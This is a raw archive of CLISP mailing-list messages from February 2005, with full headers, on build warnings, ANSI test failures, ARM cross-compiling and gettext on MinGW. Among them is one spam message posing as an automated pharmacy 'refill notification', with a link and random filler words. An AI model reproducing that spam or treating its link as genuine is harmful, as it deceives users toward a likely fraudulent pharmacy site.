<4215E84C.6000101@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 18 Feb 2005 15:06:20 +0200") References: <4215E84C.6000101@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: rawsock build warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 18 06:48:55 2005 X-Original-Date: Fri, 18 Feb 2005 09:47:51 -0500 > * Yaroslav Kavenchuk [2005-02-18 15:06:20 +0200]: > > ./configure --with-mingw --with-module=rawsock --build build-rawsock > .... > In file included from rawsock.c:9: > ../clisp.h:555: warning: register used for two global register variables > rawsock.c: In function `check_socket_protocol': > rawsock.c:1399: warning: comparison of unsigned expression < 0 is always > false > rawsock.c: In function `check_socket_protocol_reverse': > rawsock.c:1412: warning: comparison of unsigned expression < 0 is always > false > .... > > This is normal? > Sorry if this nothing this just means that your system does not define any ETH_P_* constants. it's OK, just pass NIL or 0. -- Sam Steingold (http://www.podval.org/~sds) running w2k If I had known that it was harmless, I would have killed it myself. From sds@gnu.org Fri Feb 18 06:48:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D29Qv-0005f0-51 for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 06:48:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D29Qt-0004KV-Ek for clisp-list@lists.sourceforge.net; Fri, 18 Feb 2005 06:48:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1IEl4WM016466; Fri, 18 Feb 2005 09:47:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4215E72D.1050600@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 18 Feb 2005 15:01:33 +0200") References: <4215E72D.1050600@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests will be included in clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 18 06:48:59 2005 X-Original-Date: Fri, 18 Feb 2005 09:48:23 -0500 > * Yaroslav Kavenchuk [2005-02-18 15:01:33 +0200]: > > Sam Steingold: > >> > mkdir ansi-tests >> > cd ansi-tests && ln ../../ansi-tests/Makefile . >> > ln: accessing `../../ansi-tests/Makefile': No such file or directory >> > make: *** [ansi-tests] Error 1 >> >> $ cd ..; make -f Makefile.devel update-ansi-tests; cd - >> $ make check >> > download gcl/ansi-tests manually > > $ make check > .... > RUN-ALL-TESTS: grand total: 0 errors out of 9,906 tests > Bye. > cd ansi-tests && ../lisp.exe -B .. -M ../lispinit.mem -N ../locale > -Efile UTF-8 -Eterminal UTF-8 -norc -m 30000KW -ansi -i clispload.lsp -x > '(in-package "CL-TEST") (time (regression-test:do-tests)) (ext:exit > (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log > .... > *** - LOAD: A file with name clispload.lsp does not exist it's in utils. -- Sam Steingold (http://www.podval.org/~sds) running w2k Binaries die but source code lives forever. From kavenchuk@jenty.by Sat Feb 19 02:30:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D2Rsi-0001x5-NG for clisp-list@lists.sourceforge.net; Sat, 19 Feb 2005 02:30:36 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D2Rsg-00083K-RZ for clisp-list@lists.sourceforge.net; Sat, 19 Feb 2005 02:30:36 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK360RL; Sat, 19 Feb 2005 12:33:08 +0200 Message-ID: <42171569.4020506@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ansi-tests Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 19 02:31:23 2005 X-Original-Date: Sat, 19 Feb 2005 12:31:05 +0200 clisp from cvs head, mingw/msys, win2k $ make check .... 219 out of 20137 total tests failed: COMMON-LISP-PACKAGE-NICKNAMES, COMMON-LISP-USER-PACKAGE-NICKNAMES, CL-CONSTANT-SYMBOLS.1, .... SYNTAX.SHARP-A.23, ROOM.2, TRACE.13, TRACE.14. 1 unexpected failures: PRINT.PATHNAME.2. Real time: 203.5 sec. Run time: 198.0 sec. Space: 4232112404 Bytes GC: 1213, GC time: 17.890625 sec. NIL Bye. is necessary to do something with it? -- WBR, Yaroslav Kavenchuk. From xpcdboup@brandt-gmbh.de Sat Feb 19 06:42:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D2VoC-0004ek-0P; Sat, 19 Feb 2005 06:42:12 -0800 Received: from [61.51.203.169] (helo=66.35.250.206) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1D2VoA-00040c-Ej; Sat, 19 Feb 2005 06:42:11 -0800 Received: from symphony-50.iinet.net.au ([159.86.176.12]:1906 "HELO mail.ies.edu") by ies.edu with SMTP id ; Sat, 19 Feb 2005 09:37:49 -0500 Message-Id: <2.8.06.2081924.0083fc70@ies.edu> From: "Tracey Good" To: Subject: [clisp-list] New pharm site new great prices Dorothy Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 19 06:43:04 2005 X-Original-Date: Sat, 19 Feb 2005 09:32:49 -0500 Refill Notification Ref: JG-89930545788 Dear clisp-list@lists.sourceforge.net, Our automated system has identified that you most likely are ready to refill your recent online pharmaceutical order. To help you get your needed supply, we have sent this reminder notice. Please use the refill system http://heart.iuhsdisssdf.com/?wid=100069 to obtain your item in the quickest possible manner. Thank you for your time and we look forward to assisting you. Sincerely, Tracey Good bucknell zma electorate we pravda wsj varnish hw corpsmen bib manor fb ride dut auspices bo suck cb rudiment xm From sds@gnu.org Sat Feb 19 16:32:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D2f14-00076y-Ms for clisp-list@lists.sourceforge.net; Sat, 19 Feb 2005 16:32:06 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D2f10-00071v-6y for clisp-list@lists.sourceforge.net; Sat, 19 Feb 2005 16:32:06 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 19 Feb 2005 19:32:01 -0500 To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42171569.4020506@jenty.by> (Yaroslav Kavenchuk's message of "Sat, 19 Feb 2005 12:31:05 +0200") References: <42171569.4020506@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi-tests Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 19 16:32:45 2005 X-Original-Date: Sat, 19 Feb 2005 19:31:48 -0500 > * Yaroslav Kavenchuk [2005-02-19 12:31:05 +0200]: > > 1 unexpected failures: PRINT.PATHNAME.2. > > is necessary to do something with it? PRINT.PATHNAME.2 is broken because when the namestring contains #\\ (pathname separator on win32), it has to be quoted. -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. From alynch@hotmail.co.uk Sun Feb 20 13:01:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D2yCR-0005Ye-T2 for clisp-list@lists.sourceforge.net; Sun, 20 Feb 2005 13:01:07 -0800 Received: from bay23-f36.bay23.hotmail.com ([64.4.22.86] helo=hotmail.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D2yCQ-00034s-HE for clisp-list@lists.sourceforge.net; Sun, 20 Feb 2005 13:01:07 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 20 Feb 2005 13:01:00 -0800 Message-ID: Received: from 82.3.32.75 by by23fd.bay23.hotmail.msn.com with HTTP; Sun, 20 Feb 2005 21:00:15 GMT X-Originating-IP: [82.3.32.75] X-Originating-Email: [alynch@hotmail.co.uk] X-Sender: alynch@hotmail.co.uk From: "anthony lynch" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 20 Feb 2005 21:01:00.0789 (UTC) FILETIME=[48223250:01C5178F] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] cross-compiling to zaurus/ipaq Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 20 13:01:40 2005 X-Original-Date: Sun, 20 Feb 2005 21:00:15 +0000 Hi guys I'm trying to cross-compile clisp to the arm chip so as to run it under OpenEmbedded. It will then run on the Zaurus and the Ipaq. My first problem was that I neeeded to modify the Makefile so that it would create a i386 (rahther than arm) version of intparam, floatparam, comment5 and varbrace. Unfortunately I still run into a problem which I can't seem to sort out on my own. The error messages start here: ccache arm-linux-gcc -march=armv4 -mtune=xscale -I/opt/oe/build/tmp/staging/arm-linux/include -I/opt/oe/build/tmp/staging/arm-linux/include -fexpensive-optimi zations -fomit-frame-pointer -frename-registers -O2 -c stream.c | In file included from stream.d:8: | lispbibl.d:7430: warning: volatile register variables don't work as you might wish | stream.d:22: error: parse error before "uoff_t" | stream.d:22: warning: data definition has no type or storage class | stream.d:5749: error: parse error before "uoff_t" | stream.d:5749: warning: no semicolon at end of struct or union | stream.d:5751: error: 'index' redeclared as different kind of symbol | stream.d:5751: error: 'index' redeclared as different kind of symbol Can anyone help? Also, is there a way to tell makemake that I can cross-compiling and that intparam et al. should be compiled to run on the local machine? I would really appreciate any help you can give. BTW I had to disable ffcall as it didn't like a part of the arm assembly code (and I tried v 10.1 too). Also, I wnat this to work under OE so I can't just compile it on the arm itself. Thanks A Lynch _________________________________________________________________ Express yourself with cool new emoticons http://www.msn.co.uk/specials/myemo From will@misconception.org.uk Sun Feb 20 16:39:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D31c7-0006PX-N6 for clisp-list@lists.sourceforge.net; Sun, 20 Feb 2005 16:39:51 -0800 Received: from smtpout15.mailhost.ntl.com ([212.250.162.15] helo=mta05-winn.mailhost.ntl.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D31c5-0007jZ-Pg for clisp-list@lists.sourceforge.net; Sun, 20 Feb 2005 16:39:51 -0800 Received: from aamta06-winn.mailhost.ntl.com ([212.250.162.8]) by mta05-winn.mailhost.ntl.com with ESMTP id <20050221003934.VSUQ1139.mta05-winn.mailhost.ntl.com@aamta06-winn.mailhost.ntl.com> for ; Mon, 21 Feb 2005 00:39:34 +0000 Received: from [192.168.1.100] (really [82.13.159.220]) by aamta06-winn.mailhost.ntl.com with ESMTP id <20050221003934.ZKHQ1438.aamta06-winn.mailhost.ntl.com@[192.168.1.100]> for ; Mon, 21 Feb 2005 00:39:34 +0000 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cross-compiling to zaurus/ipaq User-Agent: KMail/1.7.2 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502210039.30980.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 20 16:40:16 2005 X-Original-Date: Mon, 21 Feb 2005 00:39:30 +0000 On Sunday 20 February 2005 21:00, anthony lynch wrote: > BTW I had to disable ffcall as it didn't like a part of the arm assembly > code (and I tried v 10.1 too). Also, I wnat this to work under OE so I > can't just compile it on the arm itself. FWIW clisp builds on arm for Debian, but ffcall is disabled due to a problem with passing structs with gcc 3.x, so even if it can be made to compile it may not work. From bruno@clisp.org Mon Feb 21 05:55:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3E2O-0003Lu-Rb for clisp-list@lists.sourceforge.net; Mon, 21 Feb 2005 05:55:48 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3E2N-00066Y-0q for clisp-list@lists.sourceforge.net; Mon, 21 Feb 2005 05:55:48 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.3/8.13.3) with ESMTP id j1LDtcHp004591 for ; Mon, 21 Feb 2005 14:55:38 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j1LDtXVF028974; Mon, 21 Feb 2005 14:55:33 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1227B3BDB0; Mon, 21 Feb 2005 13:48:34 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502211448.33053.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: cross-compiling to zaurus/ipaq Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 21 05:56:12 2005 X-Original-Date: Mon, 21 Feb 2005 14:48:33 +0100 Anthony Lynch wrote: > is there a way to tell makemake that I can > cross-compiling and that intparam et al. should be compiled to run on the > local machine? It would really be easier if you could run gcc on the PDA itself, natively. In particular, the step of creating lispinit.mem cannot be done by cross- compiling; it needs to be done on the target system. Bruno From alynch@hotmail.co.uk Mon Feb 21 10:42:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3IVU-0003pQ-B2 for clisp-list@lists.sourceforge.net; Mon, 21 Feb 2005 10:42:08 -0800 Received: from bay23-f24.bay23.hotmail.com ([64.4.22.74] helo=hotmail.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D3IVS-0007wz-Pm for clisp-list@lists.sourceforge.net; Mon, 21 Feb 2005 10:42:08 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 21 Feb 2005 10:42:00 -0800 Message-ID: Received: from 82.3.32.75 by by23fd.bay23.hotmail.msn.com with HTTP; Mon, 21 Feb 2005 18:41:56 GMT X-Originating-IP: [82.3.32.75] X-Originating-Email: [alynch@hotmail.co.uk] X-Sender: alynch@hotmail.co.uk In-Reply-To: <200502211448.33053.bruno@clisp.org> From: "a lynch" To: clisp-list@lists.sourceforge.net Bcc: Subject: RE: [clisp-list] Re: cross-compiling to zaurus/ipaq Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 21 Feb 2005 18:42:00.0695 (UTC) FILETIME=[07769870:01C51845] X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 21 10:42:28 2005 X-Original-Date: Mon, 21 Feb 2005 18:41:56 +0000 >From: Bruno Haible >To: clisp-list@lists.sourceforge.net >Subject: [clisp-list] Re: cross-compiling to zaurus/ipaq >Date: Mon, 21 Feb 2005 14:48:33 +0100 > >Anthony Lynch wrote: > > is there a way to tell makemake that I can > > cross-compiling and that intparam et al. should be compiled to run on >the > > local machine? > >It would really be easier if you could run gcc on the PDA itself, natively. >In particular, the step of creating lispinit.mem cannot be done by cross- >compiling; it needs to be done on the target system. > OK well I'm trying that now - installing the gcc3.4.3 toolchain is taking a little while. I'll let you know how it goes. Ta A Lynch _________________________________________________________________ It's fast, it's easy and it's free. Get MSN Messenger today! http://www.msn.co.uk/messenger From kavenchuk@jenty.by Tue Feb 22 06:19:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3asv-0003fh-LV for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:19:33 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3asq-0004AY-6A for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:19:33 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37D0R; Tue, 22 Feb 2005 16:21:53 +0200 Message-ID: <421B3F87.5010201@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 22 06:20:58 2005 X-Original-Date: Tue, 22 Feb 2005 16:19:51 +0200 win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59 from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2 > $ ./configure --with-mingw > ... from config.log: > configure:5194: checking for xgettext > configure:5222: result: /bin/xgettext > configure:5233: checking for msgmerge > configure:5260: result: /bin/msgmerge > configure:5306: checking whether NLS is requested > configure:5315: result: yes > configure:5332: checking for GNU gettext in libc > configure:5356: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 > C:/Temp/ccCabaaa.o: In function `main': > C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:22: undefined > reference to `libintl_bindtextdomain' > C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined > reference to `libintl_gettext' > C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined > reference to `libintl_ngettext' > C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined > reference to `libintl_nl_domain_bindings' > C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined > reference to `_nl_msg_cat_cntr' > collect2: ld returned 1 exit status > configure:5362: $? = 1 > configure: failed program was: > | /* confdefs.h. */ > | > | #define PACKAGE_NAME "" > | #define PACKAGE_TARNAME "" > | #define PACKAGE_VERSION "" > | #define PACKAGE_STRING "" > | #define PACKAGE_BUGREPORT "" > | #define _GNU_SOURCE 1 > | #define ASM_UNDERSCORE > | #ifndef __i386__ > | #define __i386__ 1 > | #endif > | #define HAVE_ICONV 1 > | #define ICONV_CONST const > | /* end confdefs.h. */ > | #include > | extern int _nl_msg_cat_cntr; > | extern int *_nl_domain_bindings; > | int > | main () > | { > | bindtextdomain ("", ""); > | return (int) gettext ("") + (int) ngettext ("", "", 0) + > _nl_msg_cat_cntr + *_nl_domain_bindings > | ; > | return 0; > | } > configure:5387: result: no > configure:5799: checking for iconv > configure:5911: result: yes > configure:5921: checking how to link with libiconv > configure:5923: result: -liconv > configure:6310: checking for GNU gettext in libintl > configure:6342: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c > -lintl >&5 > Info: resolving __nl_msg_cat_cntr by linking to > __imp___nl_msg_cat_cntr (auto-import) > configure:6348: $? = 0 > configure:6352: test -z > || test ! -s conftest.err > configure:6355: $? = 0 > configure:6358: test -s conftest.exe > configure:6361: $? = 0 > configure:6433: result: yes > configure:6465: checking how to link with libintl > configure:6467: result: -lintl if in test program for clause "configure:5332: checking for GNU gettext in libc" append > #if !defined _LIBC > # define _nl_default_dirname libintl_nl_default_dirname > # define _nl_domain_bindings libintl_nl_domain_bindings > #endif and in command > gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c append -lintl, we shall not receive a error, but only: > $ gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c -lintl > Info: resolving _libintl_nl_domain_bindings by linking to > __imp__libintl_nl_domain_bindings (auto-import) > Info: resolving __nl_msg_cat_cntr by linking to > __imp___nl_msg_cat_cntr (auto-import) Whether it is possible to build clisp for win32 with gettext? Whether it is possible to build with libraries from gnuwin32? What to me to look or read to understand as it to build? I am sorry, if I stick with nonsenses. :) Excuse my bad English. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Feb 22 06:34:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3b7p-0004jv-Um for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:34:57 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3b7p-0005pO-3d for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:34:57 -0800 Received: from WINSTEINGOLDLAP ([172.20.0.17]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1MEX1CJ015983; Tue, 22 Feb 2005 09:33:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: 